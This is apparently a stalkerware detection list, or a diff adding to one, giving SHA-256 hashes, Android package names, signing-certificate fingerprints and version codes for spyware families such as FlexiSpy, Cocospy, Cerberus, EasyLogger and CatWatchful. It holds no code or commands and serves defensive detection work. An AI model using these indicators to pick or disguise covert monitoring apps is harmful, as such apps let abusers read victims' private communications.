+f0c82497403759f73c7d51086a75e80f8556d3786bc8e0de77fb7f6e02e9cd3f,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,32,AllTracker +f3c578a7211aec09ed87a2903c34a22a2731d63bbc4b27a2431b69bd16fb564f,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,35,AllTracker +02b7f8f8bcde28780306a64c08d07dec4b568b049f7b0ee716db018e1f3f34bb,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +03369a8fd9321aabff4d1f68ea1a1afa881074c6301427469f8cb6743d769ba4,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +08476cc59371b4cf91cdb60e7eb947f088b8ae90f8db011e98cbe9ae4110f1c3,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +08c23b74046637728787fd611584db345701c124987fbeb165fbea65c29c0c7e,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +0c21d11eced9f4f5ff2606530046f45fd20ff1087fbf914b44918a690ac7d556,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +0c54cd930231b60b2c0f7d49c5cc730d22cab0b2cc115f33e3724d0a9adbc786,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +0cafd13c1feb924f1d19dd5120b485a2df52edc1b6fa2199d06dacbcad3a9835,,,,AndroidMonitor +0de4d427a919ee9568e873c730703a3a70e4cdcc976f15b86a77f0e7d9e0adeb,,,,AndroidMonitor +0fb9df0af4ff6e1e5b950c06959837c50adc85bbeec59db663affa83d0517495,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +13d5a01a6699f421f6e41e4e3c8d8620d6cff9874087eb2aa741b2d6e065dd71,,,,AndroidMonitor +18e399c7038bdc97af4afb8a9b9b3f0cd46149235669be6587b094c5b8218e69,,,,AndroidMonitor +1aa87fa0e6413cd4d196feb41a1d4a9f91cdecca86663a10c30069748c9e03de,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +1cedf11a9589344f4d2f5b5a1aafef39b543d3e5c390c831d407c47e5f6e4b3a,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +240dd787247bac93e6e8ef1becaf1edac2684ae4bae59cb56861b997dc0156a2,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +264e99bc7820f344934308b237ec7fee109be3d09ccde154b0e7c39d75e09c7b,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +28b14f4131858b499c1d7eefc4d2e60c6ede317541b2a8fec665d49413ba739e,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +28e92a52070ec1d55e8ffe8a74c4499c05faf9942816f6c1efc495e2939439d7,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +29429319ecc7c736262af7425edaab70f7d9cbe10ea9cf2eeca9ea7da5410427,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +2c27aa0e302e2986db9edb3bef46ae2fb5acef73e40606f83fd3ee6893e20163,,,,AndroidMonitor +32cc4cd60db6e1740aff1bce327580c19b1b7704572bb308ade39e19c982c0b8,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +3aeb15c4a0bfa4789a1c6eabe0058ad4acf0bae00a65ee3a5a6e21aba04f0905,,,,AndroidMonitor +3b7b6d73b18155b6d3a0c63b3799c88105a0fde33bbf96bf78cd6208df2b5e66,,,,AndroidMonitor +3cad4a1af2a33044c816848d8027ef2d170efcedef06590a63f04b4f309715be,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +3f57686e7341f5c1f6e301d5e6eed2bd5048d56d14e5bae568370526107d0814,,,,AndroidMonitor +401fcf44aa8f89fe7fb2d6d090ae4499279ddeef7c43092fd0cb690bc7fdff07,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +440cd74c1010ad0f1d2becb5453c0bf2869087c2993522866590db9a77273d3f,,,,AndroidMonitor +46787188d2e7077cb6872e0a0c7ff4b43b7e6c1b5d22659953288c9c863583ad,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +47c5ab71da50ce7f2c26204dc9e00efc32ab501c5b7b185fe14e763c717708f5,,,,AndroidMonitor +4b77cf9c9867d4b52b12c0071b84909119371cea3486eda63ef32b520a204b43,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +4c891584b9f9cb410a6ce81b239d88a340e5566ddb4768a1db28f2430f60b509,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +51c71773cb0c32953149b5389e90d4be40e58ab985d7c190193a1f2c7b1b47ae,,,,AndroidMonitor +52b3bf5ff42494894fa5a6e8858c68e1a31258117224292ace387e4e52a1ea48,,,,AndroidMonitor +5829380cf2134da8b65a85fdfabc1dc41e87c51c09944e91768f7165588a3470,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +5d32ca5a51a080fa130956732c7285724f62109a351da35b1775e0432067b7d8,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +5ea97385a1ba2fcff5adae16eb63e2efd06ad215883e1775d2caeda886e61eeb,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +5fdacaff9f4bb261737ee16d4b8937c437a2ccc21d058fe7ae8815aa47f19ab6,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +696b78ea404c56571aef1e57f33eb8651fcd70f791bb6ebf09122d9cd0131a69,,,,AndroidMonitor +6a85549682a145c166a457837ac2898993e6c87a9dae50872e51e07a0691d77e,,,,AndroidMonitor +70d3cb60122e2995f5511c0d6ba05e7c5114d88437685ddf00a6fd80e606c1bf,,,,AndroidMonitor +837237c6fde628eafbd00a737ced265648ee8ab0688e0b4b64fe99f8c7153f2f,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +84bfb3773b04e4298f92bac9c67bb26b827b81cea83e8b33f9b46c3ee01a5c73,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +85edce966c0592c85ac0cef3ea15df2d6dd345873be0dcf94f64943586e85714,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +8a76f01c4496299978d366c6b814173a347f05d05f19177cbaa23ad283bbfffc,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +8fd7d3615a94cf25b46722e864adc69a1089cf9c31424b5a318e9bd739ca6daa,,,,AndroidMonitor +907def04e5331061e27dbb06b7fafbf60c5e895d0d899a258c49de3779bb9103,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +90fd50cdbc2fb8add2379d58bac5ed191f19e2557083206efc036273c749e0d3,,,,AndroidMonitor +971a2a5f84f91f8b59a52af0781e0d0b0a1297ae57211c846d358287e198cf81,,,,AndroidMonitor +973981d0d5ba516618f9a10514200e3553cfdd014c3761cd22c859544b6c8d3d,,,,AndroidMonitor +9ee532b687c89d91d4e0b9b59f3056666fdabbbedc5e6e6ec0831d21b72f9814,,,,AndroidMonitor +a27000eedc04f11e3e450001dcf762e407342b761e27f84ce353890a7bb3fbca,,,,AndroidMonitor +a2a6a648667f5a0ab6a281c2e7af7e7f0cbcbd4ea00652f7d40ec206784faf34,,,,AndroidMonitor +a3c5bb39e48e777fb32ebf8bf72a338379ab900b450f33087fc4caf3673074ca,,,,AndroidMonitor +a54fa05e5b6a856ea55ced361faa72e13789ceb2d90e28f911ba586bd43ff937,,,,AndroidMonitor +a7b9bf2d08c64d6dcbddf28003903e08e4672e1f4c32dcbcd3a76d48ce9f6164,,,,AndroidMonitor +a9bf6c7e4b3b6f2c2fae7a8e459c67264a59e7b2b1f24acfb8156460d372f687,,,,AndroidMonitor +b06ba3a861c4a9b238460543d20c2817c6f0f1fccf2cb50de360655660f7bb04,,,,AndroidMonitor +b99b0499d81078ddba81a35e5fd87d62e1491ee6161ee9f4c59936a9732dbcf8,,,,AndroidMonitor +b9b3c311ff86d3d32c08776f5237997410b42f926529a851fef2c8d2c5b6192c,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +c7f39de38173248c9e76a0555f486d989e29f7638d4ecfbb4136115bc15d20c6,com.ibm.fb,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,1,AndroidMonitor +c8983e9a874a3f457b2de3d4022a3a303b47a010876fbfa6a73086a936f16aaf,,,,AndroidMonitor +cbfa23a975a012d0d111de48923db2f7e2276696678305c75a0799992a333e1a,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +d0a0fb3246ca7ad43026ea6f6d37c87679cab459e28e4da5231f76f1a86d8f54,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +decae43fdfdb6ff0099ce4afd5c225e9052c37aa25be05287172cffc468122e1,,,,AndroidMonitor +e0da28f868563dbbc53b53f3361c87701a4b1e71641d48c5cb86d39f6fd46444,,,,AndroidMonitor +e738c526c14227efbd897e819babcc8d0b734ef6da6486d5c20ad13713421f6a,,,,AndroidMonitor +f44e0a6ac19c2214aa3c5dbc1c70afdfe219a7ea893954c67bfb232d9d825da1,,,,AndroidMonitor +f46743fcc63705c337912f831944ff3d7572bf2b5c69e354f95a8401702ba54b,com.ibm.fb,558765849658A3821FE4054ED2C1FF6E28B4B8A0,1,AndroidMonitor +fb8ce7df08a5dd151f741adce7bc28f05787d50260b79055900f624a04568c5b,,,,AndroidMonitor +2986278fb13c2ee360235ca814d3c42c03a41b14bddf0ab222caec30d974b529,com.atracker.app,0AD33649F0D0532B5EB0A36A81712962AA79BF54,4,AppSpy +2a4f4e4d3d0eea2128f112c759ef7561d4109813c909b5675096a4c4e1fedebe,com.atracker.app,0AD33649F0D0532B5EB0A36A81712962AA79BF54,2,AppSpy +b1a45094b55f6d581c1de2b3267ffa71f717567af493cf3ca953b7c38f4b3a60,com.atracker.app,0AD33649F0D0532B5EB0A36A81712962AA79BF54,4,AppSpy +c332a7aa934516020b4736cb1fa92380a6c9aec4fd24b02f3db19d4c7639b1a8,com.atracker.app,0AD33649F0D0532B5EB0A36A81712962AA79BF54,4,AppSpy +d6c9b63eda49c6f00b47e4fc1a2320a91378a9e9eadeff5324cc972e59d43046,com.atracker.app,0AD33649F0D0532B5EB0A36A81712962AA79BF54,4,AppSpy +056214972afaad012b421bbf196b8f2252e99563b7c32c0ba326b2f0989c5b47,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,164,bark +6429aea12fce67d62396222506b8b1b02ad18b14eaf78e10a00d836d9fe8954a,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,165,bark +1c6194edfac89a1342a122880efa264ff68fff6aafeb9b12796993d7afc0acdd,wosc.cwf,9FE876AF76CDCB685102A38528A3A732B0872DC6,6,CatWatchful +2976d9a27f1c6eaa04d08e25209c86cbd856c54afc78134289a05f26823c7963,wosc.cwf,9FE876AF76CDCB685102A38528A3A732B0872DC6,6,CatWatchful +3155d15a07478d5ee9e4b6398a0c789e538a90cc3eff88755544f3376fccdc7f,wosc.cwf,4A22E2CAFD9155FD5DA4F4BB7250B2DC9103D308,3,CatWatchful +39e8e58f3ff50d1635195d0e671db701325bc2d6114b1545d6feca04c26f074c,wosc.cwf,9A1128FB3E3B4809EB1EC2D6B2DD8619A49E1646,11,CatWatchful +3baadde6121e589205577d8b372c6d10097823c0a14d6d68a9b656dce6750596,wosc.cwf,F453CDF7A424EF9FC6A49E2ECAA0BF681FFBF778,6,CatWatchful +3eb43fedce4110046c24ce5817a4ad498004ef6de6e1aa957394394a9b5fcb4f,wosc.cwf,F932A87E39FC2D57E38C53E7A22A7B35510A1652,7,CatWatchful +44b85adf22f7d194be044f1150bdc1a8338ebd47c952172c5bf54cfd9e0cb4e8,wosc.cwf,C7D781E0F60CDCA5EED6F623A35C5A70DCB60A59,11,CatWatchful +47897df4aa0f0533b67381cbc051a75adaae8d2caab10a6d9e31fa6435c09118,wosc.cwf,0167521E481AD870C52189981C81C2E6DA0984A9,11,CatWatchful +4f9eaa5e9c1ac6ca975988d1e0c513e325e8d52f61dc046f56c4f42bcb720827,,,,CatWatchful +53368734b4a4726c046b686f9cd65f49b3fc974a447e49d12263686969093733,wosc.cwf,878F5AED0C8A0DE9B5EF833D239ABB11F456A171,10,CatWatchful +553e5ac25765c2b2761f59f09119ae25776d7b472ebadad202b665ed0e67a9d8,,,,CatWatchful +5b08acf93dc801ed4f2622b803f5aa064802fd93c740815e734d6c5f1dd3f1fe,,,,CatWatchful +5cd408a676818c03bac423ed3f6a661a5e68a2160344f8147c10d0552d7a7bfc,,,,CatWatchful +5dfe44c5acec25511e1307b7bd1ae715fbfd66d2925a286904fc6e483635eb7d,wosc.cwf,46047F4307DDF738A89B8086C8C8A98901935D4C,11,CatWatchful +60b15caf1287b9f15923d30fb853e1b2cb44366c15720c55ce0f4eb90d5f85b6,wosc.cwf,4A22E2CAFD9155FD5DA4F4BB7250B2DC9103D308,4,CatWatchful +81797af37afe240298962963e764ec4ad7f791a7ba0c4ecc6080898ea26199fa,wosc.cwf,9E2B2363A02CDDFA9C6E35A2AF9DD58435DFF2A7,7,CatWatchful +9e048ff6e9fe5f197ec94399dc832a12f6f614fb8850336e097f86f951dc6478,wosc.cwf,4A22E2CAFD9155FD5DA4F4BB7250B2DC9103D308,4,CatWatchful +9ff34cfc43b9611f1c78f39d062a9e41f98b88ea86568f3480e69f37e772d188,wosc.cwf,A959D215079EAC3B3BAECE7FF0899084F84C0F60,11,CatWatchful +a17f2827ae21e9fadd35d2d49a873ed5bf5fd3c004dcd01464580cf956250f87,wosc.cwf,2C036E6B0E731B607AD972D0B568E9C44B3D1DBF,9,CatWatchful +a41dd50ce93b251a9f3442202389a596766e5c9d5fbf31817a8c68066c57a8d0,wosc.cwf,4A22E2CAFD9155FD5DA4F4BB7250B2DC9103D308,3,CatWatchful +aee5c850ff5e443f1e4d97a5e248c806b619d55db3769093a7b4723ff96fe1d9,,,,CatWatchful +be2117b85fe9011bb225757f2b5aa60b37fd2b9e9456b1646fe157e82c151730,wosc.cwf,219D542F901D8DB85C729B0F7AE32410096077CB,7,CatWatchful +c063bd99b668f3723031f7fd5597e8d55fe2d054038a1c91094fb543e69a04ca,wosc.cwf,A99BC2D7EEB5E94B6F44DDF11671F664195C2E38,7,CatWatchful +c6a5d1fb355c7b32f0c3a8ab2dd03321ea7b3c77cf3334cf74c790bc038c7cc4,wosc.cwf,2E800ECC3DB6F19EAF7959EB12A332AEC0DA4935,1,CatWatchful +c797afcca01bcca459de144b6e4f604d320898012745b4f09190e2734e23fd33,wosc.cwf,BAFECFCCEC64094BFAE3DF6C8EF23B6E180E3659,11,CatWatchful +cd3b233be7017f03139f323f38ff0d049ec9a67fe1b4b1a4989b0ae84b495297,,,,CatWatchful +dc2796d634e3d919ff69a8bce4498d1f2c526dcec5e88259bf7f04e389d2507b,wosc.cwf,E1356295282DE8948C91CECBF6E157DE28B82C9E,5,CatWatchful +fe77dd56ebf17341fdf8fee28ce8ddd344fa01542d73ac97284dd5242940573e,wosc.cwf,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,4,CatWatchful +47a2eeece313d88f73ec09b927c405edb232ba8d6a37b1df3b9990490f993590,com.example.wosc.androidclient,7688EA09EE353ED077E0A90D401881B63F115A3F,1,CatWatchful +4df74d42567fe4bea1d0e50fa7404406a92719fc8d48f287ec0af3e4451c2df8,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,14,Cerberus +501ddb6420159994a344fa02be86dc8603667899009906edb473e393d91a7237,com.lsdroid.cerberus.kids,F2633353631EE72F7B7A7B946FABE1EF0A339041,291150,Cerberus +7db18faba5b25ef971206f4cc8be7eb87aadc7e48fb1be638de71dd4ef510861,,,,Cerberus +8b4c4c6ae454a5fe79e019667661fc2c9532e32be17d9d7ed98adbeb70c547e8,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273610,Cerberus +8caf04eb2f7aeb72dd7844a3401e5ef188766cf0f655f837d17b566009e69b6c,com.lsdroid.cerberus.persona,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,401220,Cerberus +9a5c15412f8761a80cb73f651f5cb26600af1cdc614d815b0928070d54ec6a2c,,,,Cerberus +9b8baba194af82fff3dbcc4534ca98691bbf2d488179970b39e3d25e86951263,,,,Cerberus +9dcd9769489c9b0d9ce1ce12d07ce183cc8111e7400a7c2d3c68dbb57f770494,com.lsdroid.cerberuss,69C28343A4D0F2156D7B56AE4616E1386173A047,283690,Cerberus +c18f91c5a54b5bcb866a181773b56ee3c0e573169929317d858aa332c1c3d7a5,com.lsdroid.cerberus.persona,409B589FDEAE073A94D609E2B41A6C0EA952B35A,281270,Cerberus +e874ee18137ab71db82f77008e25f26d42b8ba43ab348ef8e0e2399a59c19995,,,,Cerberus +075d6d9d905014bd07da1d97ad50e18b8d028460d7378ef460d69a2786ee179d,,,,ClevGuard +4e7830a079ad9f90bc8c6d249f77613695a14869bb0c635c376b2235beb3f41c,,,,ClevGuard +0968c53c9c1b62e20b99aa2de3a1f4d971f6f49630f0727f635e4551f0e8e313,,,,Cocospy +176cd54005aeb64d2415685c0f97bdad0292e9ae2f307bb6908c2927d5edd3a2,com.sc.cocospy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +29130a7cd58c757128aed9dcca6741206a710f99d865917c0301c5e2736e9814,,,,Cocospy +2db9a5df39e4e897d6da33053e67de44f222937ca2355bc10e9966472da66144,,,,Cocospy +416d5a5525b9d36b185fdc9538887d8c80dcd70b581d1349343e0f322ef99a22,,,,Cocospy +45369166e1d856a1263e9e691989e6bee43c8f750bb7a2b74a15fbba28aa0351,,,,Cocospy +4de6da48ac3d70e725c8aaaa60bd88c69a761e645602d26316c5f1f714bfa7a4,,,,Cocospy +5f0a99fb4fb4ad917d59d6bf6551ba5f359b0f038879bbbb3ed34060a8d18339,,,,Cocospy +5fa29aa23e741e1774820634b9a10d9cd6bc2ea383967b9c2ef4ecb799699f79,,,,Cocospy +6bd1b652ec1ce452b79245898150cc258c44f175011c7051a21047fbee2e3fd5,,,,Cocospy +77974461c24e1b4256f786b5178cfb96d282ada253275d64d81a18d84cfcb1f3,,,,Cocospy +867aa54974964038876b563c52132106e5f8c70afe13ba73b633e4edf8d74cfa,,,,Cocospy +8d3508316b60a1ad87f666a22acd2fbf3e113c6b9afe2574a3d69bef092c8e90,,,,Cocospy +9055c385207e82e4c758e5f2de86c9dbc6a0fcffcde6d82afb020deb14bf04cf,,,,Cocospy +a720420cd96fda86ac73721ffc7f2efd57887e30632d7b945749bd30822a6d0f,,,,Cocospy +c5cd5d3ab9d603aa4048ea46d91c4694097083da6d9f5458e10f5eec166d6d0b,,,,Cocospy +c6a6539c8c0dbfdfe609ccc73029d134719c655b75bd0e6ade8a366897634067,com.cocospy,CC866E79BDAD431A2B1E07229B92E64808221610,84,Cocospy +e9baea9166fc547a66342551b68eb4e782d82c5b3ab8ab15aa7361dd2ef58914,,,,Cocospy +f3ae6c9b88be100b82a681f3ec91caec88f76b8cf0bc61762f149e680900ffa3,com.duiyun.cocospy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,90,TeenSafe +f7ee8dfac77959bfc2a92ea4fdc1385b23c3619af731dc8b4fbb8eccbcfdf7fc,,,,Cocospy +fa32bee555c9e780a36f3c8f7b0d226a45d0d0fc4047a32aabb4703df79dbbf9,,,,Cocospy +06f368cc3e1a84c7976f7b7749ec7d6d8e1a654cf38648161e27b533b788f08e,,,,Copy9 +11a554ff0257d93cad1e4060e53ca509416c2d290c7adc36acf0e2d811b121dd,,,,Copy9 +15e64a23712dc808ee82d6c25c01834a7164577a57e2014d0ebecdea41d768ef,,,,Copy9 +19527b5cd82b869088e3dcb69d134d6d6c5b88cd3f4d97a68a8a7ebe2fe1c8ea,,,,Copy9 +2da71f32dc715accdd317c86497700b4b23c1c647964b6b6c9d0c57652a233ed,,,,Copy9 +3ec259e0de00dbcca2817907aef55fb41bd94b918bc629889a92d7cb710094a1,,,,Copy9 +5e8efb2e0a97d9d454b0a8165376e3e36a5005cec7a5e3addaa3b2edf9d5b1c9,,,,Copy9 +5fdcff3090d84ae5b4bb8ff94704f7196cb3269bc545f6c1e245653c87922d8d,com.android.system,36E6671BC4397F475A350905D9A649A5ADE97BB2,1,Copy9 +6fc32c9192cf58e323bfa7bdf3980f267b1602789e38c929900d9d946622f557,,,,Copy9 +719ab7f46fc5de5c49b7a04a36adb2010d04ce75d627d4444031225786f7ab14,,,,Copy9 +78e0f021976f32155447277919540fe1dad7cbd5527b77d055659ce97411761a,,,,Copy9 +83e798a1e85e5f624edfce5ac714e621b5444ce60334ac99f7fd61d801bbac2d,,,,Copy9 +a9c630ce2c80d3142c8f95611589c6f2e6cb507472146d327aedfe423b98f8b8,,,,Copy9 +c1d4cc24e8b612a7c1940400590a471a197a695c9917afadb0457856cde27a1c,,,,Copy9 +c63327fbf16551846d4b5b3bf787700ae56aed91d6abd516bd1e3973c31656b9,,,,Copy9 +da4791238823d760283d6840aa35cec393e403123212e008eeb77a7c2051844d,,,,Copy9 +da609d990b861f153a314724ba33f8f537f93a2c1f737b58750d180bccc21e8a,,,,Copy9 +50db15ff369972f11e4ced9872c7cb4a00044745f1a666a81b74227e8f3a07fc,com.ddiutilities.monitor,683722A1C629AD5734B93E08ADFAA61775AD196F,20170421,DDI +51380dc4104bb6172a5a1402de4e69d9271a1ba87177a2c217c795f36d468f53,,,,DDI +a71b17d433953f3add4788c5a12e08af94a286c9464f219db4fcd7d13a115ade,,,,DDI +b2bbb8e87b338a26a035b922225ae1f6f57fcfc749495185268d12318886a292,,,,DDI +b63023f964f51fd8f401a23dccadf848cd80777406baeb3f63ec54f2821a2179,,,,DDI +c2155b7bd208559e5839fe74feba9044ee4d548b6775b3cd49eda3fbd4fbc4b4,,,,DDI +00bd13864abccee1f8c781cd92dbd438acdefde5c7b33b2be7572e3491859692,,,,EasyLogger +09aa8f60b4fc67f24c1a97568e2d385dddf40c4307ad59df06c812129e677a33,,,,EasyLogger +0f01fb1f694ae7133710ad9ef725808d2dd4fd73cccf98be9c70644767c1fab2,,,,EasyLogger +17fdeaaac973b0802caf128f876ec30faefb1341c5050de284709c035759fc22,,,,EasyLogger +18e3249eda93d29928a847508546450cd2ec56054e19bfe34ac21aba2392b7ec,,,,EasyLogger +1fb2298f86314ec2f6a9576dfde72e8c04c1f043eec062c0ef6b5488401ffae5,,,,EasyLogger +282924a246f2962e42afaa8b2dee0b49989e0e88c1aabd8387176661aabca07a,,,,EasyLogger +29f8127cd10082ff0254141ec7f327da46c24843e3108fccf8762b208228868f,,,,EasyLogger +2c9504d0ce1395de79b30d5cb40f621a648ce218129e998c398fd44956df4b39,,,,EasyLogger +32dd7e9982153978a5887d618ed2fcc752d00613fde0289a4871eade2cbb4674,,,,EasyLogger +354b5dcbd4ca6e3281e1584ab15b92a2e79b3f33cf791a01803d9045de022a87,,,,EasyLogger +36c4a03f3195fd0279afd6760797348a07478a0522e6556dabb6e6e925a928d3,,,,EasyLogger +389a112d584290bd70fb929fc73135c3c06c21c315d0175315235f3697b23e2f,,,,EasyLogger +411788a467aa79c387f1f1f6a1977f4d053b5d512e7304d1a09bc6cc331a0291,,,,EasyLogger +5bfd7fbb09425ea712c2123ff051d9b3b1b4011ee2a1d2eee612d68f193d1836,,,,EasyLogger +5ed2ec205d1a492b2846a65d4202bb6943e09165cf145d93a8fd18bc0421d38b,,,,EasyLogger +5f328a85b096ed6aac67720332c06e224ce01e422a13090bd885a7af162bf825,,,,EasyLogger +6051aa1995cb631183b037893b0da787eb2ffdddd2b1b4327fcd6f8306e4354e,,,,EasyLogger +61c7f52d3fedb428288b8c949a05b8301c5c2e6fbdf43848220e950086598b8f,,,,EasyLogger +6aaceba978bf1178e0f26310b7842c279ac6497a1abf259c99e1c83d9800c9bf,,,,EasyLogger +7e1ececaf9ee86e31dcd9772637304b314be6e45563d7de1db915e4896173400,,,,EasyLogger +8d6df3a8bd15ee450294b011abfd7c85b4129e4866d57b09c9bbd3977f5ae5a8,,,,EasyLogger +9139a94cc8faf55427974883ac4c75aa7e010257ffc673eee9381c3db0b14744,,,,EasyLogger +93976fde3c9acefd4707bac5f2bc2d29b55db0deee66a27b7b38301278060f6a,,,,EasyLogger +972550785e90d4829e60bac4cd76c8cbf1edb3e2b246c13719d0331be14c0b95,,,,EasyLogger +9af1d9d0c13acfdc4de301f49423954022dffe00b9e1139392ea907e1ae5135f,,,,EasyLogger +ad4497491dd50c7dba63b557800c49fc3a16fe1f7ef6213df985b6e9c365daed,,,,EasyLogger +afadbc7afb73fb9b95d8209bce8441032ffdc1d2d636d957bc3bb54bdd89c71a,,,,EasyLogger +b8ba96349a9c2be3e198256a6b0dd803435d919770cf0db7541fba4f8387c3cf,,,,EasyLogger +b9f8a542a3ba6e9ec9fb5ec6c79e6c0aa98bafed1b44df55aab16b40a0625fd3,,,,EasyLogger +d3d8f0861e78c1f6907f5d4847f3e04f294fbc8e22bf90311da73c3decdd4226,app.EasyLogger,8F23E1457ADC6189F6ED504A60DF8896FEC6D970,101,EasyLogger +d8ba451b2aead09660235de21d2361575839be51d14f974ff71b4e74c944467e,app.ELogger,35D7CF057BFA5023CE739A725ADA0DA1FD34D1FF,101,EasyLogger +d9d78cc88d322195395dbc3667cb8fdfdbecf3c9bd55917ebf885376e6663829,,,,EasyLogger +dbeea229410935271c3c957fc5488072e666ed29515bbffb4e08e39dd169077a,,,,EasyLogger +e24bfc5adb0c77b7c773348da561a2600d3eecfffb4428c027ff6fa8652aec22,,,,EasyLogger +e5e309f9ad7954ba2a6ec25badac9ebbd82ead4e553a6928d6d4cce60b713138,,,,EasyLogger +f0a79a098bc718e2c67db89d0a37b7247ec2fcfcdd35d14bd8c3fd2f72d482fd,,,,EasyLogger +f7f60ce4e1ddde8dc7f866b17067ef1ff337f4073edb052fe5fa68a759276003,,,,EasyLogger +f944adb68c483acc7a30ef569d8d42fc52cab59a7b27f50d17434c359bd389c2,,,,EasyLogger +ffa2d012c4a9966d4ecc527c6c79d0292d2ef08e15d5190ac1b8419193457a1e,,,,EasyLogger +0f3ccb51c19613dd53ea9db449d01f0699ef9c68a74d4f0bed1f33f56e711a49,,,,EspiaoAndroid +429e81dd4c1bb54d390281010c37c60383076f1559a577590c26e4d4baeb2698,,,,EspiaoAndroid +551f10c25847ce9932efe180e48fe46954744e1951f974a20a838a64f061d075,,,,EspiaoAndroid +6e18cb58c46500b046805f494d261b0c43ff5e74865d0e57fdff4c9b44f214b8,,,,EspiaoAndroid +7dc624758c0afa2fbc1dea4c21067fb6ca975f31a01a5b181e4b0b3c5b0fe2b2,,,,EspiaoAndroid +a1bafc8bdacb75babe72eaef99d143b50c1ca7a49ed5d5eacb1f8b9dc0581c0c,,,,EspiaoAndroid +a5bfa6f8ba7cf4b2be9c11c2b88811ddc0917a71325633fce246cf65245b184e,,,,EspiaoAndroid +a8dcb8f4dda2fea9dd6c56fa767a122067e1fab937839945103b8ef5abbf4dfa,,,,EspiaoAndroid +b0fe1f6c1c7eb8bed9ec446abf66b8ad3ff58fe785902044eba275ca11cdb22f,,,,EspiaoAndroid +c2524e3aef6b4971782b11670e6474b10510795adf65d34ad4495078eb98c4b9,,,,EspiaoAndroid +d5f1d1ecbf70f66c606ead243e60230040a9e29f7fdfeeb0849d22367cb4e9f1,,,,EspiaoAndroid +03060cf094cfcb9b9dff2c9b91e58ab554b3608e7d0a8b606e9761d81ab67c2b,,,,FlexiSpy +093076b9a75cab66895dfefde626f969c0147cf60c83e2311925a050285727e2,,,,FlexiSpy +0b60c93c5ef18d8562c21fd6bda4bb9cc629b47913a32fc4fd05acffc7df2cbc,,,,FlexiSpy +0dcca2c94eae4d6f84f27ed91ff678e9234aa675abadd6f7d47c401874295a2e,,,,FlexiSpy +0e8aba856583237cabb2a418dbd81557998900416750df51a626a6ad6b1f37f2,,,,FlexiSpy +127d342107c75a177516ab409da7df8cd0ac84984841684ab1a1aafce0eb8332,,,,FlexiSpy +14e5272ab2e72d6dbf7da98156b2ed2f8e4706a6b8948fcc527d44deb2304db4,,,,FlexiSpy +18b6ea2b5ccb594d9591556e9928d9745d6ebf4fad91d1e0b59b9b304234f46c,,,,FlexiSpy +1a7e00818893e4558d4eb13e7481b65588836d854332deca6efd479930e9063f,,,,FlexiSpy +1ba9575f107c2fdeab000b4c65c44dc8d92e1371d26651d78776b157f8ce2bb7,,,,FlexiSpy +1f278d8755ca9eddf7aa5b80270d3363a1204543576ace51047bda967e8abe7f,,,,FlexiSpy +2230455762c1bcfa9e646612b2bfc9685b1dae9dcc908be1d0fe5ce88d8d059a,,,,FlexiSpy +2283cc6dffe003313ddb8f27f265bf2b2e0d780560d98b38bb9ee4f3771bf07a,,,,FlexiSpy 